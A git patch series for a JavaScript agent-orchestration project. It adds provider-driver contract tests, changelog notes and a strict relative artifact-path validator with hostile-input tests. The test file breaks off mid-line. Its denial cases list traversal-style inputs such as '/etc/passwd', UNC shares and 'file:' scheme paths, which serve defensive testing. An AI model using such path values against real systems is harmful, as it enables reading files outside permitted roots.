DRIVER_RESULT_REQUIRED_KEYS]) { + assert.ok(Object.isFrozen(keySet)); + } + const description = describeProviderDriverContractV1(); + assert.equal(description.schema, PROVIDER_DRIVER_SCHEMA_ID); + assert.equal(description.capability_schema_id, PROVIDER_CAPABILITIES_BRIDGE_SCHEMA_ID); + assert.equal(description.capability_record_keys.length, 13); + assert.deepEqual(description.relaunch_operations, []); + assert.deepEqual([...description.transports], []); + assert.deepEqual(description.dispositions, { + preflight: [...DRIVER_DISPOSITIONS.preflight], + launch: [...DRIVER_DISPOSITIONS.launch], + reconcile: [...DRIVER_DISPOSITIONS.reconcile], + cancel: [...DRIVER_DISPOSITIONS.cancel], + }); + assert.deepEqual(describeProviderDriverContractV1(), description); +}); + +test('driver declarations project the complete P05 13-field capability record', () => { + const validated = validateDriverDeclarationV1(declaration); + for (const key of CAPABILITY_RECORD_ALLOWED_KEYS) { + assert.ok(Object.hasOwn(validated.capability, key), `missing ${key}`); + } + assert.equal(validated.capability.schema, PROVIDER_CAPABILITIES_BRIDGE_SCHEMA_ID); + assert.equal(validated.capability.provider, 'dsh'); + assert.equal(validated.capability.same_session_reply, 'unsupported_unresolved_attention'); + assert.equal(validated.capability.dispatch_certainty, 'uncertain_after_spawn'); + assert.equal(validated.capability.replay_posture, 'never_replay'); + assert.match(validated.capability.source_digest, /^sha256:[0-9a-f]{64}$/u); + assert.ok(Object.isFrozen(validated)); + assert.ok(Object.isFrozen(validated.capability.artifact_kinds)); +}); + +test('four-field capability stubs and cross-field mismatches fail closed', () => { + const stub = { + schema: DRIVER_DECLARATION_SCHEMA_ID, + capability: { + schema: PROVIDER_CAPABILITIES_BRIDGE_SCHEMA_ID, + provider: 'grok', + same_session_reply: 'live_session_reply', + dispatch_certainty: 'confirmed_launch', + workspace_semantics: 'local_managed_worktree', + }, + features: declaration.features, + }; + expectCode(() => validateDriverDeclarationV1(stub), 'invalid_capability_revision'); + + expectCode(() => validateDriverDeclarationV1(driverDeclaration('grok', {}, { + same_session_reply: 'unsupported_unresolved_attention', + })), 'capability_reply_mismatch'); + expectCode(() => validateDriverDeclarationV1(driverDeclaration('dsh', {}, { + dispatch_certainty: 'confirmed_launch', + })), 'capability_dispatch_certainty_mismatch'); +}); + +test('every operation accepts its exact compiled-envelope proof request', () => { + for (const operation of DRIVER_OPERATIONS) { + const view = REQUEST_VALIDATORS[operation](requestFor(operation)); + assert.equal(view.operation, operation); + assert.equal(view.envelope.run_id, DRIVER_SUITE_RUN_ID); + assert.equal(view.envelope.repository.base_sha, DRIVER_SUITE_BASE_SHA); + assert.equal(view.child_envelope_digest, fixture.child_envelope_digest); + assert.match(view.operation_digest, /^sha256:[0-9a-f]{64}$/u); + assert.ok(Object.isFrozen(view.request)); + } +}); + +test('requests carry their own operation schema and reject reuse across operations', () => { + for (const operation of DRIVER_OPERATIONS) { + for (const [other, validate] of Object.entries(REQUEST_VALIDATORS)) { + if (other === operation) { + assert.doesNotThrow(() => validate(requestFor(operation))); + continue; + } + expectCode(() => validate(requestFor(operation)), 'schema_mismatch'); + } + } +}); + +test('a digest-only launch is forbidden and other operations still demand bytes', () => { + expectCode(() => validateDriverLaunchRequestV1({ + schema: DRIVER_OPERATION_SCHEMA_IDS.launch, + version: PROVIDER_DRIVER_VERSION, + child_envelope_digest: fixture.child_envelope_digest, + }), 'digest_only_launch_denied'); + expectCode(() => validateDriverReconcileRequestV1({ + schema: DRIVER_OPERATION_SCHEMA_IDS.reconcile, + version: PROVIDER_DRIVER_VERSION, + child_envelope_digest: fixture.child_envelope_digest, + }), 'missing_key'); +}); + +test('results use the closed disposition vocabulary and P05 honesty rules', () => { + for (const disposition of DRIVER_DISPOSITIONS.preflight) { + assert.doesNotThrow(() => validateDriverPreflightResultV1( + resultFor('preflight', disposition, detailForPreflight(disposition)), + requestFor('preflight'), declaration, + )); + } + for (const disposition of DRIVER_DISPOSITIONS.launch) { + if (disposition === 'dispatched') { + expectCode(() => validateDriverLaunchResultV1( + resultFor('launch', disposition, detailForLaunch(disposition)), + requestFor('launch'), declaration, + ), 'capability_dispatch_certainty_mismatch'); + continue; + } + assert.doesNotThrow(() => validateDriverLaunchResultV1( + resultFor('launch', disposition, detailForLaunch(disposition)), + requestFor('launch'), declaration, + )); + } + const grok = driverDeclaration('grok'); + const grokEnvelope = compileChildEnvelopeV1({ + ...fixture.manifest, + assignments: [{ + ...fixture.manifest.assignments[0], + execution: { provider: 'grok', model: 'grok-4' }, + }], + }, fixture.assignment_id); + const grokRequest = { + schema: DRIVER_OPERATION_SCHEMA_IDS.launch, + version: PROVIDER_DRIVER_VERSION, + envelope_text: grokEnvelope.envelope_text, + child_envelope_digest: childEnvelopeDigestV1(grokEnvelope).digest, + }; + assert.doesNotThrow(() => validateDriverLaunchResultV1( + driverResultFor('launch', grokRequest, 'dispatched'), grokRequest, grok, + )); + expectCode(() => validateDriverReconcileResultV1( + resultFor('reconcile', 'settled'), requestFor('reconcile'), declaration, + ), 'invalid_format'); +}); + +test('bounded detail pairs follow the per-disposition rules', () => { + expectCode(() => validateDriverPreflightResultV1( + resultFor('preflight', 'blocked'), requestFor('preflight'), declaration, + ), 'missing_key'); + expectCode(() => validateDriverPreflightResultV1( + resultFor('preflight', 'ready', { detail_code: 'why', detail_message: 'no' }), + requestFor('preflight'), declaration, + ), 'detail_pair_denied'); + expectCode(() => validateDriverLaunchResultV1( + resultFor('launch', 'not_sent'), requestFor('launch'), declaration, + ), 'missing_key'); + expectCode(() => validateDriverLaunchResultV1( + resultFor('launch', 'dispatch_uncertain', { detail_code: 'why', detail_message: 'no' }), + requestFor('launch'), declaration, + ), 'detail_pair_denied'); +}); + +test('results must echo the exact child identity proven by the request', () => { + for (const override of [ + { run_id: 'other-run' }, + { assignment_id: 'other-lane' }, + { lane_index: 1 }, + { base_sha: 'ffffffffffffffffffffffffffffffffffffffff' }, + ]) { + expectCode(() => validateDriverLaunchResultV1( + resultFor('launch', 'dispatch_uncertain', override), requestFor('launch'), declaration, + ), 'receipt_identity_mismatch'); + } +}); + +test('the bound surface enforces preflight, no-replay, and feature gates', () => { + const bound = bindProviderDriverV1(scriptedProviderDriverV1(), declaration); + expectCode(() => bound.launch(requestFor('launch')), 'not_preflighted'); + assert.equal(bound.preflight(requestFor('preflight')).disposition, 'ready'); + assert.equal(bound.launch(requestFor('launch')).disposition, 'dispatch_uncertain'); + expectCode(() => bound.launch(requestFor('launch')), 'replay_denied'); + assert.equal(bound.reconcile(requestFor('reconcile')).disposition, 'terminal'); + assert.equal(bound.cancel(requestFor('cancel')).disposition, 'cancel_confirmed'); +}); + +test('blocked preflight cannot launch and not_sent cannot be reconciled', () => { + const blocked = bindProviderDriverV1(scriptedProviderDriverV1({ preflight: 'blocked' }), declaration); + assert.equal(blocked.preflight(requestFor('preflight')).disposition, 'blocked'); + expectCode(() => blocked.launch(requestFor('launch')), 'blocked_lane_denied'); + + const notSent = bindProviderDriverV1( + scriptedProviderDriverV1({ launch: 'not_sent' }), declaration, + ); + notSent.preflight(requestFor('preflight')); + assert.equal(notSent.launch(requestFor('launch')).disposition, 'not_sent'); + expectCode(() => notSent.reconcile(requestFor('reconcile')), 'not_dispatched'); + notSent.preflight(requestFor('preflight')); + assert.equal(notSent.launch(requestFor('launch')).disposition, 'not_sent'); +}); + +test('unsupported cancellation, restart, live progress, and events fail closed', () => { + const unsupported = driverDeclaration('dsh', { + cancellation: 'unsupported', + detailed_events: 'unsupported', + live_progress: 'unsupported', + restart: 'unsupported', + }); + const bound = bindProviderDriverV1(scriptedProviderDriverV1(), unsupported); + bound.preflight(requestFor('preflight')); + bound.launch(requestFor('launch')); + expectCode(() => bound.cancel(requestFor('cancel')), 'unsupported_capability'); + expectCode(() => bound.reconcile(requestFor('reconcile', { intent: 'restart_reattach' })), + 'unsupported_capability'); + expectCode(() => bound.reconcile(requestFor('reconcile', { include: ['live_progress'] })), + 'unsupported_capability'); + expectCode(() => bound.reconcile(requestFor('reconcile', { include: ['detailed_events'] })), + 'unsupported_capability'); + expectCode(() => assertDriverFeatureV1(unsupported, 'live_progress'), 'unsupported_capability'); +}); + +test('supported restart_reattach is reconcile-only and never a relaunch', () => { + const bound = bindProviderDriverV1(scriptedProviderDriverV1(), declaration); + bound.preflight(requestFor('preflight')); + bound.launch(requestFor('launch')); + const receipt = bound.reconcile(requestFor('reconcile', { intent: 'restart_reattach' })); + assert.equal(receipt.disposition, 'terminal'); + expectCode(() => bound.launch(requestFor('launch')), 'replay_denied'); +}); + +test('P05 capability requirements fail closed without fallback', () => { + expectCode(() => assertCapabilityRequirementV1(declaration, { + same_session_reply: 'live_session_reply', + }), 'capability_reply_mismatch'); + expectCode(() => assertCapabilityRequirementV1(declaration, { + dispatch_certainty: 'confirmed_launch', + }), 'capability_dispatch_certainty_mismatch'); + const capability = assertCapabilityRequirementV1(declaration, { + replay_posture: 'never_replay', + same_session_reply: 'unsupported_unresolved_attention', + }); + assert.equal(capability.provider, 'dsh'); +}); + +test('handlers are captured at bind time so later mutation cannot swap an operation', () => { + const driver = scriptedProviderDriverV1(); + const bound = bindProviderDriverV1(driver, declaration); + driver.launch = () => { + throw new Error('a swapped handler must never run'); + }; + bound.preflight(requestFor('preflight')); + assert.equal(bound.launch(requestFor('launch')).disposition, 'dispatch_uncertain'); + assert.ok(Object.isFrozen(bound)); +}); + +test('buildDriverOperationRequestV1 packages only proven envelope pairs', () => { + for (const operation of DRIVER_OPERATIONS) { + const request = buildDriverOperationRequestV1(operation, fixture.envelope); + assert.equal(request.schema, DRIVER_OPERATION_SCHEMA_IDS[operation]); + assert.equal(request.child_envelope_digest, fixture.child_envelope_digest); + assert.ok(Object.isFrozen(request)); + } + expectCode(() => buildDriverOperationRequestV1('relaunch', fixture.envelope), 'unknown_operation'); + const tamperedEnvelope = JSON.parse(JSON.stringify(fixture.envelope)); + tamperedEnvelope.write_scope.push('extra/**'); + expectCode(() => buildDriverOperationRequestV1('launch', tamperedEnvelope), 'envelope_shape_mismatch'); +}); + +test('stale envelope correlation and provider slot mismatch fail closed', () => { + const bound = bindProviderDriverV1(scriptedProviderDriverV1(), declaration); + bound.preflight(requestFor('preflight')); + bound.launch(requestFor('launch')); + const otherEnvelope = compileChildEnvelopeV1({ + ...fixture.manifest, + assignments: [{ + ...fixture.manifest.assignments[0], + prompt: 'A different prompt for the same lane identity.', + }], + }, fixture.assignment_id); + const otherRequest = { + schema: DRIVER_OPERATION_SCHEMA_IDS.reconcile, + version: PROVIDER_DRIVER_VERSION, + envelope_text: otherEnvelope.envelope_text, + child_envelope_digest: childEnvelopeDigestV1(otherEnvelope).digest, + }; + expectCode(() => bound.reconcile(otherRequest), 'stale_identity_denied'); + expectCode( + () => bindProviderDriverV1(scriptedProviderDriverV1(), driverDeclaration('grok')) + .preflight(requestFor('preflight')), + 'provider_slot_mismatch', + ); +}); + +test('driver shape validation accepts exactly the four own-function operations', () => { + const driver = scriptedProviderDriverV1(); + const summary = assertProviderDriverV1(driver); + assert.deepEqual(summary.operations, [...DRIVER_OPERATIONS]); + expectCode(() => assertProviderDriverV1({ ...driver, retry: () => ({}) }), 'invalid_surface'); + expectCode(() => validateDriverCancelResultV1( + resultFor('cancel', 'cancel_confirmed', { schema: DRIVER_RESULT_SCHEMA_IDS.reconcile }), + requestFor('cancel'), declaration, + ), 'schema_mismatch'); +}); From bafa8d72d89503fcec5c2d88d3920222de0a8a38 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sat, 22 Aug 2026 19:31:41 +0000 Subject: [PATCH 03/81] docs(changelog): record the P17 driver contract Document the closed envelope/capability contract, P05 13-field alignment, honest feature failures, and that P18/P20/P19/P21 still own concrete transports. Future work keeps the run runtime, candidate composition, and AttentionBatchV1 unimplemented. --- CHANGELOG.md | 16 ++++++++++++++++ docs/future-work.md | 15 +++++++++++---- 2 files changed, 27 insertions(+), 4 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 24f2801..2bfdbe9 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,6 +4,22 @@ ### Added +- **Closed P17 provider-driver envelope and capability contract.** Additive + `ProviderDriverV1` owns the preflight/launch/reconcile/cancel lifecycle + plus typed results, exact ChildEnvelopeV1 launch proof (text bytes and + raw lowercase 64-hex P03 digest; digest-only launches are denied), and + honest capability declaration through the accepted P05 13-field + `ProviderCapabilitiesV1` bridge rather than a parallel schema. + Driver-surface features for same-session-adjacent live progress, + reconcile-only restart reattach, cancellation, and detailed events fail + closed when unsupported, with no fallback or post-dispatch replay. + Process-local status transitions refuse duplicate dispatch, stale + envelope correlation, and capability-contradicting launch certainty. + Direct-JS inputs use the P05 descriptor-first closure; validated values + are detached and deeply frozen. The module claims no provider transport, + registry cutover, scheduler, or durable store. Coverage lives in + `r1-provider-driver` and `r1-provider-driver-adversarial` tests plus the + reusable `provider-driver-contract-suite` harness. - **Deterministic P05 resolver and P17 capability bridge.** Additive `resolveRunSelectionV1` / `resolveSelectionAnswersV1` bind every assignment's provider/model from authored explicit execution, the diff --git a/docs/future-work.md b/docs/future-work.md index 9bf116f..1f20fe7 100644 --- a/docs/future-work.md +++ b/docs/future-work.md @@ -6,7 +6,7 @@ Status: specified, not implemented. Priority: high Component: Codex-Co-Engineer -Last updated: 2026-08-21 +Last updated: 2026-08-22 The accepted architecture for R1 is [ADR 0001](adr/0001-r1-bounded-run-architecture.md). It defines a 3.3.0 run @@ -15,9 +15,16 @@ identity, with deterministic explicit/profile resolution, no direct mode on run submissions, disjoint writers, read-only verification, no post-dispatch fallback or replay, and Codex-only final acceptance. -This worktree does not implement the run runtime, candidate composition, -or `AttentionBatchV1`. Gate A remains the functional release authority; -Gate B context-efficiency and Gate C credit economics stay advisory. +The P17 `ProviderDriverV1` envelope/capability contract is in-tree as a +pure contract and provider-agnostic conformance harness. It validates +preflight/launch/reconcile/cancel requests and results against the +accepted P05 13-field capability bridge. It does not implement Grok, +Cursor Local, DSH, or Cursor Cloud transports, registry cutover, +scheduler, or durable store; those remain P18/P20/P19/P21 and later +run-runtime work. This worktree does not implement the run runtime, +candidate composition, or `AttentionBatchV1`. Gate A remains the +functional release authority; Gate B context-efficiency and Gate C +credit economics stay advisory. ## Durable, low-token agent completion waits From a28b3ed7d075376affff921c5d19ef3f73e43d45 Mon Sep 17 00:00:00 2001 From: cole Date: Sat, 22 Aug 2026 19:45:10 +0000 Subject: [PATCH 04/81] feat(v3): add the strict relative artifact path policy Answer exactly one question deterministically and fail closed: is this string a strict portable run-relative artifact path? Accept only NFC, well-formed, forward-slash, relative paths of 1..16 segments (128 UTF-8 bytes each, 1024 total). Reject backslashes, leading/trailing/doubled slashes, empty and dot-only segments, colons (foreclosing drive, UNC, alternate-data-stream, and scheme spellings under one rule), Windows reserved device stems with the extension ignored, edge dots/spaces that Windows tooling strips, C0/C1 controls, invisible/format/bidi/tag code points, solidus look-alikes, non-NFC text, and lone surrogates while keeping well-formed astral characters legal. The fixed validation pipeline raises identical first typed errors from a closed 17-code vocabulary, never echoes hostile bytes (U+ notation and offset only), captures every dynamic intrinsic at import, scans strings by code points, and returns deep-frozen detached descriptors. Pure path policy only: no filesystem, network, or process I/O, and no claim that P08 artifact storage exists. Focused hostile coverage pins the rejection matrix, ordering, bounds parity, predicate agreement, and detachment. --- .../mcp/v3/artifact-path.mjs | 355 ++++++++++++++++++ .../test/r1-artifact-path.test.mjs | 163 ++++++++ 2 files changed, 518 insertions(+) create mode 100644 plugins/codex-co-engineer/mcp/v3/artifact-path.mjs create mode 100644 plugins/codex-co-engineer/test/r1-artifact-path.test.mjs diff --git a/plugins/codex-co-engineer/mcp/v3/artifact-path.mjs b/plugins/codex-co-engineer/mcp/v3/artifact-path.mjs new file mode 100644 index 0000000..1b1a951 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/artifact-path.mjs @@ -0,0 +1,355 @@ +// ArtifactRelativePathV1 — strict portable relative artifact path policy +// (ADR 0001 identifiers `bounded_evidence`, +// `gate_a_valid_raw_and_sanitized_artifacts`, `exact_identities`). +// +// Additive v3 module for W3-P07. It owns exactly one question, answered +// deterministically and fail closed: is this string a strict portable +// run-relative artifact path? It answers nothing else: it never touches the +// filesystem, network, or process state, and it does NOT claim that artifact +// storage exists. The P08 store, sanitizer/reader, and evidence bundle are +// separate later surfaces; producers declare paths here and only a later +// storage authority may bind them to bytes. +// +// Accepted grammar — POSIX-style, forward-slash separated, case-sensitive, +// NFC-normalized UTF-8, relative and canonical by construction: +// - 1..ARTIFACT_PATH_MAX_SEGMENTS segments of 1..ARTIFACT_PATH_SEGMENT_MAX_BYTES +// each, total UTF-8 length 1..ARTIFACT_PATH_MAX_BYTES; +// - every segment non-empty and not made only of dots, so '.', '..' and +// '...' style traversal aliases cannot be spelled at all; +// - no backslash anywhere; no leading, trailing, or doubled '/'; +// - no ':' anywhere, which forecloses drive forms (`C:`), drive-relative +// spellings, NTFS alternate data streams (`file:ads`), and scheme tricks +// (`file:`) under one deterministic rule; +// - no Windows reserved device name as a segment stem (case-insensitive +// ASCII fold, extension ignored: `con`, `CON.txt`, `com1`, `lpt0`, +// `clock$` are rejected; whole stems like +// `concat`, `nullify`, and `auxiliary` are ordinary names and stay +// accepted); +// - no leading or trailing ASCII space and no trailing dot in a segment, +// which Windows tooling silently strips; +// - well-formed Unicode only (lone surrogates rejected) and exactly NFC: +// canonically equivalent but differently composed names are distinct +// byte strings, so the policy refuses to choose between them; +// - no C0/C1 control characters (NUL included), no invisible/format/ +// bidi-override/line-separator/tag code points, and no solidus +// look-alikes that render as separators a kernel will not see. +// +// Fixed validation pipeline: identical inputs always raise the identical +// first typed error, independent of how many rules they violate. The order +// is: type, empty, lone surrogates, total byte bound, NFC, backslash, +// leading slash, trailing slash, per-segment structure (count, empty, +// dot-only alias, reserved device stem, edge space/dot, segment bytes), +// then the whole-path character scan, which reports the FIRST offending +// code point in strict left-to-right order across the control, +// invisible/format, separator look-alike, and colon classes. Rejections +// carry stable codes from the closed +// ARTIFACT_RELATIVE_PATH_ERROR_CODES vocabulary and never echo the hostile +// character itself, only its U+ notation and offset. +// +// Intrinsic hardening: every dynamic surface used after caller input exists +// is captured once at clean import. String scanning is a manual indexed walk +// (captured codePointAt/charCodeAt/normalize/split/startsWith/endsWith), so +// a post-import patch of String iteration, RegExp, Array methods, or +// Buffer.byteLength can neither alter acceptance nor execute caller code. + +import { Buffer as NodeBuffer } from 'node:buffer'; + +import { + capturedFreeze, + capturedUtf8ByteLength, +} from './grammar.mjs'; +import { RunContractV1Error } from './run-manifest.mjs'; + +export const ARTIFACT_PATH_POLICY_ID = 'codex-co-engineer.artifact-path.v1'; + +export const ARTIFACT_PATH_MAX_BYTES = 1024; +export const ARTIFACT_PATH_MAX_SEGMENTS = 16; +export const ARTIFACT_PATH_SEGMENT_MAX_BYTES = 128; + +export const ARTIFACT_RELATIVE_PATH_ERROR_CODES = capturedFreeze([ + 'absolute_path_denied', + 'alias_segment_denied', + 'colon_denied', + 'control_character_denied', + 'edge_character_denied', + 'empty_path', + 'empty_segment_denied', + 'invalid_encoding', + 'invalid_separator', + 'invalid_type', + 'invisible_character_denied', + 'out_of_range', + 'reserved_device_name_denied', + 'segment_count_exceeded', + 'segment_too_long', + 'separator_lookalike_denied', + 'trailing_slash_denied', +]); + +function fail(code, path, message) { + throw new RunContractV1Error(code, path, message); +} + +// ---- Captured intrinsics, taken exactly once at initialization. ----------- +const BUFFER_BYTE_LENGTH = NodeBuffer.byteLength; +const FUNCTION_CALL = Function.prototype.call; +const callBound = (method) => FUNCTION_CALL.bind(method); +const STRING_CHAR_CODE_AT = callBound(String.prototype.charCodeAt); +const STRING_CODE_POINT_AT = callBound(String.prototype.codePointAt); +const STRING_NORMALIZE = callBound(String.prototype.normalize); +const STRING_SPLIT = callBound(String.prototype.split); +const STRING_STARTS_WITH = callBound(String.prototype.startsWith); +const STRING_ENDS_WITH = callBound(String.prototype.endsWith); +const STRING_FROM_CODE_POINT = String.fromCodePoint; +const STRING = String; + +const SEGMENT_SEPARATOR = '/'; +const EMPTY_STRING = ''; +const FULL_STOP = '.'; +const SPACE = ' '; +const BACKSLASH_CODE_POINT = 0x5c; +const COLON_CODE_POINT = 0x3a; +const FULL_STOP_CODE_POINT = 0x2e; +const SPACE_CODE_POINT = 0x20; + +// Closed invisible/format/bidi/line-separator/tag ranges. Anything here can +// change how a path renders or resolves while surviving casual review, so it +// is refused outright instead of being interpreted. +const INVISIBLE_RANGES = capturedFreeze([ + [0x00ad, 0x00ad], // soft hyphen + [0x061c, 0x061c], // Arabic letter mark + [0x180e, 0x180e], // Mongolian vowel separator + [0x200b, 0x200f], // zero-width series and LRM/RLM + [0x2028, 0x202e], // line/paragraph separators and bidi overrides + [0x2060, 0x2064], // word joiner and invisible operators + [0x2066, 0x2069], // bidi isolates + [0xfeff, 0xfeff], // BOM / zero-width no-break space + [0xfff9, 0xfffb], // interlinear annotation anchors + [0x1d173, 0x1d17a], // musical formatting controls + [0xe0001, 0xe0001], // language tag + [0xe0020, 0xe007f], // tag characters +]); + +// Solidus look-alikes: code points that display as slashes or backslashes on +// common platforms while remaining ordinary letters to a POSIX kernel, so a +// reviewer sees more separators than the resolver does. +const SEPARATOR_LOOKALIKES = capturedFreeze([ + 0x2044, // fraction slash + 0x2215, // division slash + 0x27cb, // mathematical rising diagonal + 0x27cd, // mathematical falling diagonal + 0x29f8, // big solidus + 0xfe68, // small reverse solidus + 0xff0f, // fullwidth solidus + 0xff3c, // fullwidth reverse solidus +]); + +// Windows reserved device names, compared case-insensitively against the +// stem before the first dot so `CON.txt` is caught exactly like `CON`. +const RESERVED_DEVICE_STEMS = capturedFreeze((() => { + const stems = ['AUX', 'CLOCK$', 'CON', 'NUL', 'PRN']; + for (let digit = 0; digit <= 9; digit += 1) { + const suffix = STRING(digit); + stems.push(`COM${suffix}`, `LPT${suffix}`); + } + return stems.sort(); +})()); + +function asciiUpperFold(text) { + let folded = EMPTY_STRING; + for (let index = 0; index < text.length; index += 1) { + const unit = STRING_CHAR_CODE_AT(text, index); + folded += unit >= 0x61 && unit <= 0x7a + ? STRING_FROM_CODE_POINT(unit - 0x20) + : text[index]; + } + return folded; +} + +function deviceStemOf(segment) { + const dot = segment.indexOf(FULL_STOP); + const stem = dot === -1 ? segment : segment.slice(0, dot); + if (stem.length === 0) return null; + const folded = asciiUpperFold(stem); + for (let index = 0; index < RESERVED_DEVICE_STEMS.length; index += 1) { + if (RESERVED_DEVICE_STEMS[index] === folded) return folded; + } + return null; +} + +function isDotOnlySegment(segment) { + for (let index = 0; index < segment.length; index += 1) { + if (segment[index] !== FULL_STOP) return false; + } + return segment.length > 0; +} + +function containsBackslash(value) { + for (let index = 0; index < value.length; index += 1) { + if (STRING_CHAR_CODE_AT(value, index) === BACKSLASH_CODE_POINT) return true; + } + return false; +} + +function assertWellFormed(value, path) { + // Walk code points, not code units: every astral character is two UTF-16 + // code units and both units live in the surrogate block, so a naive + // unit scan would condemn perfectly well-formed emoji or CJK extensions. + // Only an unpaired surrogate (which codePointAt reports as itself) fails. + let index = 0; + while (index < value.length) { + const codePoint = STRING_CODE_POINT_AT(value, index); + if (codePoint >= 0xd800 && codePoint <= 0xdfff) { + fail('invalid_encoding', path, + `${path} contains a lone surrogate at code-unit index ${index}; ` + + 'artifact paths must be well-formed Unicode.'); + } + index += codePoint > 0xffff ? 2 : 1; + } +} + +function assertTotalBytes(value, path) { + const bytes = capturedUtf8ByteLength(value); + if (bytes < 1 || bytes > ARTIFACT_PATH_MAX_BYTES) { + fail('out_of_range', path, + `${path} is ${bytes} UTF-8 bytes; allowed range is 1..${ARTIFACT_PATH_MAX_BYTES}.`); + } + return bytes; +} + +function assertNormalized(value, path) { + if (STRING_NORMALIZE(value, 'NFC') !== value) { + fail('invalid_encoding', path, `${path} is not NFC-normalized; artifact paths must use exactly NFC.`); + } +} + +function assertSlashShape(value, path) { + if (containsBackslash(value)) { + fail('invalid_separator', path, + `${path} must use '${SEGMENT_SEPARATOR}' separators; a backslash is not portable.`); + } + if (STRING_STARTS_WITH(value, SEGMENT_SEPARATOR)) { + fail('absolute_path_denied', path, + `${path} must be relative to the run's artifact root; absolute paths are denied.`); + } + if (STRING_ENDS_WITH(value, SEGMENT_SEPARATOR)) { + fail('trailing_slash_denied', path, + `${path} must name an artifact, not end with '${SEGMENT_SEPARATOR}'.`); + } +} + +function assertSegmentStructure(segments, path) { + if (segments.length > ARTIFACT_PATH_MAX_SEGMENTS) { + fail('segment_count_exceeded', path, + `${path} spans ${segments.length} segments; at most ${ARTIFACT_PATH_MAX_SEGMENTS} are allowed.`); + } + for (let index = 0; index < segments.length; index += 1) { + const segment = segments[index]; + if (segment.length === 0) { + fail('empty_segment_denied', path, `${path} contains an empty segment at position ${index}.`); + } + if (isDotOnlySegment(segment)) { + fail('alias_segment_denied', path, + `${path} segment ${index} is made only of dots; '.' and '..' style aliases are denied.`); + } + const reserved = deviceStemOf(segment); + if (reserved !== null) { + fail('reserved_device_name_denied', path, + `${path} segment ${index} uses reserved device name ${reserved}; device names are denied.`); + } + const last = segment.length - 1; + if (STRING_CHAR_CODE_AT(segment, last) === FULL_STOP_CODE_POINT + || STRING_CHAR_CODE_AT(segment, last) === SPACE_CODE_POINT + || STRING_CHAR_CODE_AT(segment, 0) === SPACE_CODE_POINT) { + fail('edge_character_denied', path, + `${path} segment ${index} has a leading space or a trailing dot/space that Windows tooling strips.`); + } + if (BUFFER_BYTE_LENGTH(segment, 'utf8') > ARTIFACT_PATH_SEGMENT_MAX_BYTES) { + fail('segment_too_long', path, + `${path} segment ${index} exceeds ${ARTIFACT_PATH_SEGMENT_MAX_BYTES} UTF-8 bytes.`); + } + } +} + +function codePointInRanges(codePoint, ranges) { + for (let index = 0; index < ranges.length; index += 1) { + const range = ranges[index]; + if (codePoint >= range[0] && codePoint <= range[1]) return true; + } + return false; +} + +function listContainsCodePoint(list, codePoint) { + for (let index = 0; index < list.length; index += 1) { + if (list[index] === codePoint) return true; + } + return false; +} + +function uNotation(codePoint) { + return `U+${codePoint.toString(16).padStart(4, '0')}`; +} + +function assertCharacterLegality(value, path) { + let offset = 0; + while (offset < value.length) { + const codePoint = STRING_CODE_POINT_AT(value, offset); + const width = codePoint > 0xffff ? 2 : 1; + if (codePoint < 0x20 || (codePoint >= 0x7f && codePoint <= 0x9f)) { + fail('control_character_denied', path, + `${path} contains control character ${uNotation(codePoint)} at code-point offset ${offset}.`); + } + if (codePointInRanges(codePoint, INVISIBLE_RANGES)) { + fail('invisible_character_denied', path, + `${path} contains invisible formatting character ${uNotation(codePoint)} at code-point offset ${offset}.`); + } + if (listContainsCodePoint(SEPARATOR_LOOKALIKES, codePoint)) { + fail('separator_lookalike_denied', path, + `${path} contains solidus look-alike ${uNotation(codePoint)} at code-point offset ${offset}.`); + } + if (codePoint === COLON_CODE_POINT) { + fail('colon_denied', path, + `${path} contains ':' at code-point offset ${offset}; colons are denied to foreclose drive, ` + + 'alternate-data-stream, and scheme spellings.'); + } + offset += width; + } +} + +// Validate one strict portable relative artifact path and return a detached, +// frozen descriptor over the accepted canonical form. The accepted form is +// exactly the submitted string: no trimming, case folding, separator +// rewriting, or Unicode re-encoding ever occurs, so two distinct accepted +// inputs always stay distinct. +export function validateArtifactRelativePathV1(value, path = 'relative_path') { + if (typeof value !== 'string') { + fail('invalid_type', path, `${path} must be a string.`); + } + if (value.length === 0) { + fail('empty_path', path, `${path} must not be empty.`); + } + assertWellFormed(value, path); + const bytes = assertTotalBytes(value, path); + assertNormalized(value, path); + assertSlashShape(value, path); + const segments = STRING_SPLIT(value, SEGMENT_SEPARATOR); + assertSegmentStructure(segments, path); + assertCharacterLegality(value, path); + return capturedFreeze({ + path: value, + segments: capturedFreeze([...segments]), + byte_length: bytes, + segment_count: segments.length, + }); +} + +// Boolean predicate twin of the validator: never throws, never partially +// accepts, and agrees with validateArtifactRelativePathV1 on every input. +export function isArtifactRelativePathV1(value) { + try { + validateArtifactRelativePathV1(value, 'relative_path'); + return true; + } catch { + return false; + } +} diff --git a/plugins/codex-co-engineer/test/r1-artifact-path.test.mjs b/plugins/codex-co-engineer/test/r1-artifact-path.test.mjs new file mode 100644 index 0000000..8fbcaeb --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-artifact-path.test.mjs @@ -0,0 +1,163 @@ +import assert from 'node:assert/strict'; +import test from 'node:test'; + +import { + ARTIFACT_RELATIVE_PATH_ERROR_CODES, + isArtifactRelativePathV1, + validateArtifactRelativePathV1, +} from '../mcp/v3/artifact-path.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; + +function errorOf(action, expectedPath) { + try { + action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (expectedPath !== undefined) assert.equal(error.path, expectedPath); + return error; + } + assert.fail('expected a typed RunContractV1Error'); +} + +// Callers embed accepted paths under a schema field, so the pinned denial +// paths below use the same dotted field spelling an embedding contract uses. +function pathError(value, expectedCode, expectedPath = 'artifact_ref.relative_path') { + const error = errorOf( + () => validateArtifactRelativePathV1(value, expectedPath), + expectedPath, + ); + assert.equal(error.code, expectedCode, `path ${JSON.stringify(value)}`); + return error; +} + +// ---- Relative path policy: full rejection matrix. ------------------------- + +test('absolute, drive, UNC, device, and traversal forms are all foreclosed', () => { + pathError('', 'empty_path'); + pathError('/etc/passwd', 'absolute_path_denied'); + pathError('//double/leading', 'absolute_path_denied'); + pathError('C:/Users/diff.patch', 'colon_denied'); + pathError('C:diff.patch', 'colon_denied'); + pathError('\\\\server\\share\\x', 'invalid_separator'); + pathError('runs\\\\diff.patch', 'invalid_separator'); + pathError('file:text/plain', 